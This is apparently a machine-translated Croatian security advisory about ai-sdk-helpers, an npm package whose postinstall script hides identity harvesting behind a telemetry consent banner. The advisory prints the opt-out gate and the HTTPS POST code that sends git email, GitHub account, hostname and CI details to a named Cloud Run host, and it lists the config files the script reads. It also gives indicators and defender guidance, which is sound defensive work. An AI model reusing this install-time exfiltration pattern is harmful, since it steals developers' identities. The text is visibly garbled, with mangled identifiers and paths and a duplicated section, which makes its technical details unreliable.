TL; DR
Jedan npm paket, ai-sdk-pomoćnici, predstavlja se kao produkcijski alat za Vercel AI SDK, nudeći praćenje troškova, vraćanje dobavljača i pomoćnike za streaming.
Njegova instalacijska skripta otvara se uglađenim bannerom s opisom anonimna dijagnostika, obećavajući da se neće prenositi izvorni kod, tokeni ili vjerodajnice, poštujući DO_NOT_TRACK isključivanje i povezivanje sa stranicom s pravilima telemetrije.
Isti skript zatim čita git identitet programera, konfiguraciju GitHub CLI-ja, naziv hosta računala, korisničko ime OS-a, radni direktorij i CI pružatelja usluga.
Ti se podaci objavljuju kao JSON na krajnju točku Google Cloud Runa, što stvara očitu neusklađenost između navedene telemetrijske politike i stvarno prikupljenih polja.
Paket je objavljen u dvadeset dvije verzije unutar jednog 83-sekundnog niza, a instalacijska skripta je bajt po bajt identična u svakoj označenoj verziji.
Sedam od osam verzija koje smo pregledali pipeline klasifikator strojnog učenja ocijenio ih je neuvjerljivima jer stil banera za pristanak izgleda kao legitimna telemetrija.
Mi klasificiramo ai-sdk-helpers kao zlonamjeran na temelju prikupljanja i krađe identiteta razvojnog programera tijekom instalacije.
Ozbiljnost: visoka.
Anatomija instalacije
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } nakon instalacije automatski se pokreće npm instalirati, prije nego što se uopće uveze bilo koji od oglašenih kodova paketa. Skripta skripte/postinstall.js je mjesto gdje se nalazi svo ponašanje tijekom instalacije.
Otvara se blokom komentara i obavijesti o izvođenju napisanom u registru projekta otvorenog koda koji vodi računa o privatnosti:
>Kada instalirate ai-sdk-helpers, pokrećemo brzu provjeru kompatibilnosti okruženja i izvještavamo anonimnu dijagnostiku… Podaci su potpuno anonimni — prikupljamo vašu platformu, verziju čvora i jednosmjerni hash identifikatora vašeg računala. Nikada se ne prenosi izvorni kod, tokeni ili vjerodajnice.
Čak povezuje i funkcionalnu vrata za isključivanje, prvi izvršni kod u datoteci:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } prvo zatvaranje ovih vrata čini ostatak konsenzualnim: programer koji postavlja `D_NE_PRATI` tiho dovršava instalaciju i zaključuje da paket poštuje konvenciju. Isključenje s poštovanja je stvarno. Ono što zatvara, za sve koji ga ne postave, jest kolekcija opisana u nastavku - ne uži naziv "platforma, verzija čvora i jednosmjerni hash" kako ga obavijest naziva.
Ispod te kapije, skripta sastavlja korisni teret koji daleko nadilazi taj opis.
- *Gidentitet.* rriješitiScmIdentitet()` eads `~.gitconfig`,`~.config/git/config`,i trenutnog projekta `.it/config`,analizira `[ser]` odjeljak i vraća konfigurirano commit e-pošta. Ako nijedna konfiguracijska datoteka ne vrati e-poštu, vraća se na `GE-POŠTA_AUTORA T_,`GT_COMMITTER_EMAIL`,i `EAIL` varijable okruženja. Dokumentacijski niz iznad funkcije uokviruje čitanje kao način „dedupliciranja instalacija na računalima u vlasništvu iste osobe (npr. prijenosno računalo + CI)“ - navedena svrha koja zahtijeva stabilan identifikator po razvojnom programeru, koji commit pribor za e-poštu.
- *GtHub račun.* rriješiGitHubIdentity()` eads `~.config/gh/hosts.yml` i `~.config/gh/hosts.yaml` konfiguracijska datoteka koju piše GitHub CLI kada se programer autentificira — i regex-ekstraktira `uhm:` i `ebol:` polja. Ta datoteka također pohranjuje GitHub OAuth token; regularni izraz skripte cilja posebno na retke korisničkog imena i e-pošte i ne izdvaja token. Tvrdnja natpisa "nikakvi tokeni... se nikada ne prenose" stoga je doslovno istinita za to jedno polje dok se okolni identifikatori računa čitaju i šalju.
- *Hst i CI otisak prsta.* Scenarij zatim prikuplja `o.naziv_host()`,`o.korisnickeInfo().korisnickime`,verzija, platforma i arhitektura Node-a, `pocess.cwd()`,i oznaka CI-pružatelja riješena provjerom varijabli okruženja za osam pružatelja usluga (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite i dvije generičke CI zastavice). Popis pružatelja usluga čita se kao popis mjesta gdje se skripta očekuje izvršavati - interaktivne ljuske i automatizirana izgradnja pipelineslični su.
Sve je to grupirano u jedno `dagnostici objekt, s poljima za svakog programera prikupljenim pod `ientitet ey i podaci o hostu pod `rvrijeme i `cntext` oči, zatim serijalizirane i prenesene:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Odgovor se odbacuje i sve se pogreške gutaju - komentar napominje da „telemetrija nikada ne smije prekinuti instalaciju“. Naziv hosta krajnje točke kodira uslugu Google Cloud Run u `erope-west1` regija.
Praznina je priča. Banner imenuje tri kategorije podataka - platformu, verziju čvora, hash identifikatora stroja. Payload šalje stvarni git programera. commit e-poštu, njihovo korisničko ime i e-poštu na GitHubu, naziv hosta njihovog računala i naziv OS računa, put njihovog projekta i njihovo CI okruženje. Polja koja identificiraju *prson i njihovi računi* točno polja koja objava izostavlja.
README dokument pojačava okvir s druge strane. Njegov odjeljak "Telemetrija" ponavlja tvrdnju o anonimnosti i povezuje riječ `D_NE_PRATI` o `cnsoledonottrack.com`,prava stranica zajednice koja dokumentira konvenciju o isključivanju - posuđivanje priznate privatnosti standard kako bi se obavijest čitala kao rutinska.
Timeline
Ovo je otkriće u jednom paketu s vrlo kratkom, vrlo gustom poviješću objavljivanja. Nema višetjednog luka kampanje koji bi se mogao pratiti - cijeli raspon verzija je gurnut brzinom stroja.
| Kada (UTC) | događaj |
|---|---|
| 2026-06-03 20:31:20 | Prva verzija (0.1.0) objavljeno na npm-u. |
| 2026-06-03 20:31:20 – 20:32:43 | Svih 22 verzija (0.1.0 kroz 1.4.2) objavljeno u automatiziranom nizu od 83 sekunde. |
| 2026-06-04 | Osam verzija označeno je signalima detekcije; ručna analiza potvrđuje prikupljanje i krađu identiteta u vrijeme instalacije. Paket je ostao aktivan na npm-u u vrijeme analize. |
Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0',`01.1',... `14.2`)prikazuje površinu aktivno održavanog projekta s poviješću izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - vidi dolje.
Pokazatelji kompromisa
Korisni sadržaj instalacije je identičan u cijelom rasponu objavljenih verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.
mreža
Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0',`01.1',... `14.2`)prikazuje površinu aktivno održavanog projekta s poviješću izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - vidi dolje.
Pokazatelji kompromisa
Korisni sadržaj instalacije je identičan u cijelom rasponu objavljenih verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.
mreža
| Pokazatelj | Uloga |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Krajnja točka eksfiltracije prima HTTPS POST zahtjeve s JSON korisnim teretima. Hostirano na Google Cloud Runu u europe-west1 regija. |
Infrastruktura mamaca
| Pokazatelj | Uloga |
|---|---|
ai-sdk.guide | Početna stranica paketa i aktivna web-lokacija koja podržava identitet autora "AI SDK Guide". |
ai-sdk.guide/telemetry | URL pravila telemetrije na koji se poziva u obavijesti o otkrivanju informacija prilikom instalacije. |
hello@ai-sdk.guide | E-pošta autora navedena u package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Izvorni repozitorij koji je deklarirao paket. |
Datoteke pročitane prilikom instalacije
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pošta
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIhm `ebol
Bihevioralni potpisi
- – m `pstinstall` ook pozivanje uključene Node skripte
- – vrata za isključivanje (`A_SDK_POMOĆNICI_TELEMETRIJA_ONEMOGUĆENA`,`D_NE_PRATI`)predstavljeno kao značajka privatnosti, prije prikupljanja identiteta
- – tbound HTTPS POST JSON objekta koji sadrži git e-poštu, GitHub identitet, naziv hosta, korisničko ime OS-a, cwd i CI oznaku
- – identična instalacijska skripta preko brzo objavljene ljestvice verzija
Atribucija i opaženo ponašanje
Ne pripisujemo ništa osim onoga što su zabilježeni u metapodacima paketa i registra.
NPM čuvar zapisa je račun `aielsimon`,s adresom `aiel@vigilance.security`.Registar navodi tu e-poštu kao neprovjerenu, a identitet kontrole izvora računa kao neprovjeren. `pckage.json`,zasebno, predstavlja autora kao „AI SDK vodič“ello@ai-sdk.guide>`”s početnom stranicom `a-sdk.guide` i izvorni repozitorij pod `gOrganizacija thub.com/ai-sdk-guide. Domena e-pošte izdavačkog računa (`vigilance.security`)i identitet autora unutar paketa (`a-sdk.vodič`)su različite domene.
The `a-sdk.guide` ite je aktivan i odgovara, a `/elemetrija ath rješava — identitet mamca potkrijepljen je dostupnom web prisutnošću, a ne mrtvom vezom, što povećava vjerodostojnost uokviravanja paketa.
**Uočena mogućnost.** Prilikom instalacije, paket čita datoteke identiteta razvojnog programera i konfiguracije računa, otiske hosta i CI okruženja te prenosi rezultat na krajnju točku kojom upravlja operater, uz prikaz obavijesti koja opisuje uži i anonimizirani skup podataka. Opisujemo ovo ponašanje; ne tvrdimo motiv za njega. Čitatelji koji procjenjuju paket - uključujući bilo koju stranu koja prepoznaje identitet izdavača - trebali bi procijeniti uočljivu neusklađenost između navedenih i stvarnih tokova podataka.
Utjecaj, trendovi i smjernice za branitelje
Tko je izložen. Svatko tko instalira ai-sdk-pomoćnici — izravno ili kao tranzitivna ovisnost — pokreće kolekciju na tom računalu. Budući da je okidač nakon instalacije, oglašeni kod biblioteke nikada ne mora biti uvezen da bi se dogodio protok podataka; sama instalacija je dovoljna. Okruženja s najvećom vrijednošću su radne stanice razvojnih programera s konfiguriranim git identitetom i autentificiranim GitHub CLI-jem te CI pokretači, gdje otkrivanje CI-pružatelja skripte ukazuje na to da se očekuje da će se kolekcija pokretati unutar izgradnje. pipelinekao i na prijenosnim računalima.
Što otkriva. Ne tajne aplikacije u općem slučaju - korisni teret se usredotočuje na identitetprogramer commit e-poštu, naziv i e-poštu njihovog GitHub računa, nazive računala i računa te putanju projekta. To je prethodnociskarta tko je instalirao paket, na kojem računalu, u kojem repozitoriju i pod kojim CI sustavom. Za organizaciju, nekoliko takvih zapisa zajedno nabrojalo bi koji su inženjeri i koji su sustavi za izgradnju izvukli ovisnost - korisno kao preteča ciljanije daljnje aktivnosti, iako se vlastito ponašanje ovog paketa zaustavlja na prikupljanju i prijenosu.
Trend: telemetrija kao maska. Legitimni alati za razvojne programere prikupljaju anonimizirane dijagnostičke podatke o instalaciji, a postoje i konvencije za to - obavijest o otkrivanju podataka, NE_PRATI čast, zastavica za isključivanje, URL pravila - dobro su poznati. ai-sdk-pomoćnici vjerno reproducira sve četiri konvencije i koristi ih kao omotač za prikupljanje identiteta. Prisutnost bannera pristanka, funkcionalne opcije odjave ili poveznice na pravila o privatnosti nije dokaz da je paket pouzdan; te kontrole je jeftino oponašati. Jedina pouzdana provjera je što kod zapravo čita i kamo ga zapravo šalje.
Ovo pakiranje također ima mjerljiv učinak na automatiziranu trijažu. U svim verzijama naše pipeline pregledani, komentari instalacijskog skripta na jednostavnom jeziku, strukturirani nazivi polja i konvencionalna vrata za isključivanje ocijenjeni su kao obična telemetrija: sedam od osam se vratilo neubjedljiv iz ML klasifikatora, a ne zlonamjeran. Signal koji rješava dvosmislenost nije u prozi - nalazi se u specifičnim datotekama koje skripta otvara (~ / .gitconfig, ~/.config/gh/hosts.yml) i odredište na koje se šalje. Pregledatelj, automatizirani ili ljudski, koji pročita objavu i tamo se zaustavi doći će do pogrešnog zaključka; odluka mora proizaći iz činjenica o protoku podataka.
Upute za branitelje:
- Instalacija sa skriptama onemogućenim prema zadanim postavkama — npm instalacija –ignoriraj-skripteili postavite ignore-scripts=true in .npmrc i eksplicitno pokrenuti provjerene korake izgradnje. To neutralizira nakon instalacije-pokrenuta naplata na svim područjima.
- Ne tretirajte kontrole za isključivanje kao signale povjerenja. NE_PRATI Provjera ili veza "telemetrijska politika" ne govori vam ništa o podacima koje skripta prikuplja kada vrata nisu postavljena.
- Pročitajte instalacijski hook prije usvajanja pomoćnih paketa AI ekosustava. Vercel AI SDK prostor je brzorastuća meta visokog povjerenja; nakon instalacije koji dodiruje ~ / .gitconfig or ~/.config/gh/ je jasan signal bez obzira na to kako su napisani okolni komentari.
- Praćenje izlaza za vrijeme izgradnje. Izlazni HTTPS POST tijekom npm instalirati, posebno za novoinstaliranu krajnju točku funkcije u oblaku, vidljiva je na mrežnom sloju i predstavlja snažnu točku detekcije za CI okruženja.
- Pripazite na komprimirane ljestvice verzija. Paket čija se cijela semantička povijest verzija pojavljuje u roku od nekoliko sekundi, s nepromjenjivim instalacijskim skriptom, predstavlja proizvedenu povijest održavanja.





